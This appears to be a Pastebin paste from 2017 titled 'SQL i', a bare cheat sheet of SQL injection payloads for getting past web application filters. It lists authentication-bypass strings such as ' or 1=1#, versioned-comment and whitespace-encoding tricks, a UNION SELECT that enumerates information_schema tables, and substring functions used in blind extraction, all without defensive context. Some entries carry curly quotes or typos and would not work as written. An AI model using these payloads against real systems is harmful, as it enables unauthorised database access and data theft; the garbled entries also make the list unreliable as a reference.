Advertisement
AZZATSSINS_CYBERSERK

SQL i

Jul 4th, 2017
336
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.47 KB | None | 0 0
  1. SQL COMMENTS
  2. ‘ or 1=1#‘ or 1=1– –‘ or 1=1/* (MySQL < 5.1)
  3. ' or 1=1;%00
  4. ' or 1=1 union select 1,2 as `
  5. ' or#newline1='1'
  6. or– -newline1='1'
  7. /*!50000or*/1='1'
  8. /*!or*/1='1
  9. [-----------------------------------------------------]
  10. PREFIXES
  11. + – ~ !
  12. ‘ or –+2=- -!!!’2
  13. [-----------------------------------------------------]
  14. OPERATORS
  15. ^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,,
  16. XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST,
  17. GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND,
  18. OR, BINARY,BETWEEN, ISNULL
  19. [-----------------------------------------------------]
  20. WHITESPACES
  21. %20 %09 %0a %0b %0c %0d %a0 /**/
  22. ‘or+(1)sounds/**/like“1“–%a0-
  23. ‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#
  24. [-----------------------------------------------------]
  25. No Whitespace Bypass Using Comments
  26. ?id=1/*comment*/and/**/1=1/**/--
  27. No Whitespace Bypass Using Parenthesis
  28. ?id=(1)and(1)=(1)--
  29. [-----------------------------------------------------]
  30. EXTRACT SUBSTRINGS
  31. substr(‘abc’,1,1) = ‘a’
  32. substr(‘abc’ from 1 for 1) = ‘a’
  33. substring(‘abc’,1,1) = ‘a’
  34. substring(‘abc’ from 1 for 1) = ‘a’
  35. mid(‘abc’,1,1) = ‘a’
  36. mid(‘abc’ from 1 for 1) = ‘a’
  37. lpad(‘abc’,1,space(1)) = ‘a’
  38. rpad(‘abc’,1,space(1)) = ‘a’
  39. left(‘abc’,1) = ‘a’
  40. reverse(right(reverse(‘abc’),1)) = ‘a’
  41. insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
  42. space(0) = trim(version()from(version()))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement